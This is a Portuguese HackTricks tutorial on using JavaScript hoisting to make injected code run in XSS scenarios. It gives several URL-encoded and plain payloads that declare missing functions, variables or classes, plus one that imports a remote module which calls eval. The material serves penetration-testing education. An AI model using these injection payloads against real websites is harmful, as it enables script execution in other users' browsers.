JS Hoisting

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
Adquira o material oficial PEASS & HackTricks
Descubra A Família PEASS, nossa coleção de NFTs exclusivos
Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.

Informações Básicas

{% hint style="success" %} JS Hoisting refere-se ao processo pelo qual o interpretador parece mover a declaração de funções, variáveis, classes ou importações para o topo de seu escopo, antes da execução do código. {% endhint %}

O motor JavaScript fará (pelo menos duas) passagens sobre qualquer script. Isso é uma grande simplificação, mas podemos pensar na execução de JS como consistindo em dois passos. Primeiro, o código é analisado, o que inclui a verificação de erros de sintaxe e a conversão para uma árvore de sintaxe abstrata. Este passo também inclui o que descrevemos como hoisting, onde certas formas de declarações são "movidas" (içadas) para o topo da pilha de execução. Se o código passar na etapa de análise, o motor continua a executar o script.

Qualquer código (incluindo o payload injetado) deve aderir às regras de sintaxe. Nada será executado se a sintaxe for inválida em qualquer parte do script final.
O local onde o código é colocado em um script pode ter importância, mas a representação textual de um trecho de código não é o mesmo que o que é executado pelo tempo de execução no final. Qualquer linguagem pode ter regras que decidem em que ordem as expressões são executadas.

Os quatro tipos de hoisting

Voltando à descrição do hoisting pela MDN, podemos ler que existem quatro tipos de hoisting em JavaScript. Novamente, diretamente da MDN:

Ser capaz de usar o valor de uma variável em seu escopo antes da linha em que é declarada. ("Hoisting de valor")

Ser capaz de referenciar uma variável em seu escopo antes da linha em que é declarada, sem lançar um ReferenceError, mas o valor é sempre undefined. ("Hoisting de declaração")

A declaração da variável causa mudanças de comportamento em seu escopo antes da linha na qual é declarada.

Os efeitos colaterais de uma declaração são produzidos antes de avaliar o restante do código que a contém.

seguido por

As quatro declarações de função acima são içadas com comportamento do tipo 1; declaração var é içada com comportamento do tipo 2; declarações de let, const e class (também chamadas coletivamente de declarações lexicais) são içadas com comportamento do tipo 3; declarações de import são içadas com comportamento dos tipos 1 e 4.

Cenários

Portanto, se você tem cenários onde pode Injetar código JS após um objeto não declarado ser usado, você poderia corrigir a sintaxe declarando-o (para que seu código seja executado em vez de gerar um erro):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)

// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);

// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);

// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Mais Cenários

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)

// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };

// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Referências

Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!